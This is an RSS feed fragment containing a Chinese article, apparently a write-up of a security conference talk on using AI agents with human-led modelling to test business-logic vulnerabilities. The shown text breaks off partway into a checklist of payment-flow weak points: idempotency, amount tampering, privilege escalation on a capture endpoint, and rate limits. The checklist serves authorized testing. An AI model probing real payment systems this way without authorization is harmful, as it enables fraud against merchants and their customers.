href="https://yaklang.com/products/FAQ" target="_blank">https://yaklang.com/products/FAQ</a></span></em></span></p></div></div></div></div></div><div style="outline: 0px;"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;"><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6bcc10ee&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247529914%26idx%3D1%26sn%3Dea077902dc10f9ce3843c792819ea952">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 12 Jun 2026 17:58:00 +0800</pubDate>
    </item>
    <item>
      <title>【NCC会议议题】从三天到一夜：AI Agent 加速业务逻辑测试的工程实践</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529888&amp;idx=1&amp;sn=1e73133224ce4b4da5885da0ce7b4541</link>
      <description>Yakit x Memfit AI 加速助力业务逻辑漏洞测试</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-06-08 17:03</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d0f4ab42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72GvZU5FibwicQHMMzAZvwuZf8TFaIlxjRIzgmPlqBTrDwfBBgtic4v3LD4uzuLplQccaHP7yQgnbU7oaxfNTCOkJMRJPicxxBiaaRcg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>Yakit x Memfit AI 加速助力业务逻辑漏洞测试</p>
  <p><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100032990" data-ratio="0.1927710843373494" data-w="1079" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="text-align: center;margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100040727" data-ratio="0.462037037037037" data-s="300,640" type="block" data-type="webp" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=337222ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZd0VthLJpzgmAAibgKmOtuudBzo08KsWzzBtEzpIf5l8zyaU3uqV4GA4USxXeyfnPuQa0ibK1Kr9fibQ%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046189" src="https://wechat2rss.xlab.app/img-proxy/?k=da7e5374&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72E7mHG5RmouHkibUibiaOfcictvKEQ7XDticicJu6JoO4MsOFhSqh6Zic2AktkIqzUG8oDn9X9BC2FaEJLDiabibibEvRQDm6g4YWrwmCLfA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq4pqq7a23ob" style="font-size: 15px;" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">业务逻辑漏洞测试长期是渗透测试中最依赖人力、最难自动化的环节：扫描器无法识别金额操纵、越权、支付回调伪造等问题，一线安全从业人员只能逐接口手工理解业务、构造多账号、对比状态变化，一套完整测试常以&#34;天&#34;计。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">2026 年 6 月 6 日，第一届白帽大会（NCC）在上海举行，本议题提出一套&#34;人控建模 + AI Agent 执行&#34;的工程方法，并以真实靶场数据验证其提速效果。文中数据均来自不开源、无训练材料、无引导性 URL 的靶场 `redhaze.top`，结论可复现。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046190" data-ratio="0.5439624853458382" data-s="300,640" type="block" data-type="jpeg" data-w="1706" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=e8a4bd71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjibGAup6p72HXwJOe0FH8iapjqMibcsFeUwR0QWo8w6qjakhHr4hRcGI4YMrqNzuK7Wytl1ZiaFreiapDhqzW3WwjzQulYXcNUYZFW3sU79hfnibA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq4pt0tqd9t" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">本议题围绕五条主线展开：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq4pt0tq19dm" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.业务逻辑漏洞为何无法被批量扫描，难点卡在何处；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq4pt0tq1hf1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.&#34;人控建模 + AI Agent 执行&#34;的基本方法与两个工程难点；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq4pt0tqzvg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.从抓取正常流量、AI 辅助建模到任务清单执行、人工验收的完整流程；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq4pt0tq1xc1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4.无人工业务建模时的 AI Agent 对照实验（含三个主流模型横评）；</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" mpa-font-style="mq4pt0tqobz" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">5.SKILL 的真实意义与一个值得警惕的越狱案例。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046191" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=5b5f1e9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HBq43vKduWhiaDiazaEvzwDaTHq43IcHrKlqRjyvkmxIv4pMOlBWmpd1nIUlkK7zLjrt9AORW8iaJDkCoXGJFJQ58ft2ExNng0mg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><div><div style="outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;"><div style="outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">一、背景：无法被批量扫描的长链路逻辑漏洞</span></span></p></div></div></div><p nodeleaf="" data-mpa-action-id="mq4y7sr219ih" data-pm-slice="0 0 []" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;margin-top: 8px;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046192" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=fe3db889&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EUN7icpn9mlnMibunIbZ35l7Kbf2o6WlExytN2NGbgS58Licu1l4WLWS7o3SS6hzZpP2FpaHEE1WmPWVVJ5tFwa2Hg6lpQnIVcw0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mq4ya1ov1by7" data-mpa-action-id="mq4ya1pe5od" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">传统扫描器在业务逻辑漏洞面前几乎失效，根因在于两类漏洞性质不同。</span><span textstyle="" style="letter-spacing: 1px;">传统漏洞有固定 Payload 特征、遵循&#34;输入→响应&#34;的模式匹配、可武器化批量扫描、技术验证成功即可定性；业务逻辑漏洞无规则特征，依赖对业务状态流转的理解，每次从零开始，且&#34;状态码 200 ≠ 业务漏洞&#34;。</span></span></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046193" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=bd177c19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FzzkVBQHmWZXyibTU6xC5wp98n4ArDibxygW05gC3fwErzMH5ZK3JZUz0Iy0UcFpzwXR4Zn8ymiaqsibuberGES8cTwvVMqCzRltE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mq4yg3dugne" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6192170818505338" data-s="300,640" data-type="png" data-w="843" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046231" src="https://wechat2rss.xlab.app/img-proxy/?k=ed582fd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HnibauPfldW2mx6wocjWV8mJmcKu5DLbREF6yBaVMUfxRYDxEjdQtd3xogSXjkNsXzkVscQvWS8oDSQrKONjrQJ9dJvwXeWB1k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">其中最关键的是&#34;状态码 200 ≠ 业务漏洞&#34;。</span><span textstyle="" style="letter-spacing: 1px;">一个返回 200、流程正常的下单请求，可能就是一笔金额为负的 0 元购订单——危害藏在业务语义与状态流转中，无法从单次请求/响应直接判定。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046194" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=92508732&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72ETic485YW3ujSLBYymnpS387VB4KVe8AriczoibcPdpPyV3zibGCDHmDCShkgLQxJ2MDgUUo3ypYQeKc23p6dQgXrjyNeicMAgTDwU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">业务逻辑漏洞考验的是业务理解与状态推理能力，Payload 构造退居次要，而这恰好落在大语言模型的能力区间内。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">由此得到本议题的基本判断：把&#34;理解业务、推理状态&#34;交给 AI，把决策与验收留给人。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span style="color: rgba(0, 0, 0, 0.85);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.04);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="" mpa-font-style="mq4ywbsytqf" style="font-size: 18px;" data-mpa-action-id="mq4ywbt9vsl" data-pm-slice="0 0 []"><span textstyle="" style="background-color: rgb(255, 255, 255);font-weight: bold;">二、AI 辅助测试逻辑漏洞的方法与难点</span></span></span></strong></p></div></div></div><p nodeleaf="" data-mpa-action-id="mq4ythx5uos" data-pm-slice="0 0 []" style="padding: 0.5em;margin-bottom: 8px;margin-top: 8px;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046195" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=1ef76cc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72EPbTt3ukHjF9xNkicn3CK0F7wJAyXImoXjQiaVA9Mn210TRMnaxoIBibY6o7YvaYia9bsRhtQuplIic2kbm97fa1YaUicOEt6zR0D3w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">方法的核心是分工：</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">人负责决策，AI 负责重复执行</span></span><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">2.1 基本方法：人控建模，AI 执行</span></strong></span></p></div></div></div></div></div><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100046196" data-ratio="0.5626081938834391" data-s="300,640" type="block" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" src="https://wechat2rss.xlab.app/img-proxy/?k=46475b67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HpsXicoRTBr8n9LRicq54EuAMoibnP1PlIB3uoRibjgXPOcfHKBxtDa1vTNVCdlJfwyJOcicQKcdgl4Ny0cfMD7zp5pzeRkricLKhAU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5625" data-s="300,640" data-type="jpeg" data-w="1920" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046197" src="https://wechat2rss.xlab.app/img-proxy/?k=1996c0a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72Hm50EibVNLREJZc46ZG413qXMuIK4OpiabAyW9ZhtRW6q2rLseXvy0tWM9O3HIVf2JDMEt2ClP1Hkckp5uPGObf5Cepb9Nvs2ia4%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">整个流程分四步：</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1. 收集流量 + 理解业务：人工查看页面、流量、字段与认证方式</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2. AI 辅助梳理任务书：筛选待测业务，生成待测清单</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.AI Agent 执行任务清单：在保留自由度的前提下执行长任务</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4.验收与漏洞确认：人工排除误报、剔除低危、确认真实漏洞</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">两个常见疑问需要明确。</span><span textstyle="" style="letter-spacing: 1px;">其一，为何不让 AI 收集流量：生产环境登录普遍带二次核身与手机验证码，真人一两分钟即可通过，而 AI 模拟浏览器、识别验证码噪声大、失败率高，这一步留给人最划算。其二，测试人员能否完全不懂业务：不能，测试人至少承担两项 AI 当前无法接管的责任——决策（划定测试边界、不越界）与验收（排除误报）。</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">漏洞类型与 AI 自动化程度的对应关系如下。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-mpa-action-id="mq4yhvqj18zj" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5951557093425606" data-s="300,640" data-type="png" data-w="867" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046234" src="https://wechat2rss.xlab.app/img-proxy/?k=33bb168f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72Hpabx61BriaK7whqjZWZspMc2OiaM38ZjgRTR2fWUf3hf6zjyQDGUkogcCfXf3heGPH02HjeQ4D20JeaDZBHAobVJyWFXic6mOxo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">规律明确：以&#34;逻辑推理 + 参数构造&#34;为主的环节，AI 可独立完成；涉及真实资金与硬件交互（扫码、银行密码、并发时序）的环节，AI 会卡住。</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">这条边界决定了任务清单的设计取舍。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">2.2 业务理解前置：两个支付场景的攻击面差异</span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">不同支付体系攻击面差异巨大，业务理解必须前置。</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">银联支付场景攻击面较小，抓包建模后的核心问题集中在幂等性与金额边界。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046198" src="https://wechat2rss.xlab.app/img-proxy/?k=fe358663&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72HWiaar9XgQrEApJhoKrNjg4JS9mxv9W4LWGTpOZEeSEEWaSFl7g0JfR2kwOQCAeDncdCSXJ9gNz2rsKmuyd9e9ybYEpMlznmJs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.`request_id` 是否幂等？可否重复、遍历？</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2. 发起金额可否修改？是否与生成的二维码一致（边界与精度攻击入口）？</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3. `payment_order_id` 对应的 `*/capture` 接口是否可越权？</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4.是否限频（429）？</span></span></p><p style="margin-bottom: 8px;margin-left: 8px;margin-right: 8px;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">套餐 + 聚合（四方）支付场景攻击面更大，且与金额支付体系完全不同。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" nodeleaf="" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5626081938834391" data-s="300,640" data-type="png" data-w="1733" style="border-width: 0px;border-style: solid;background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" type="block" data-imgfileid="100046199" 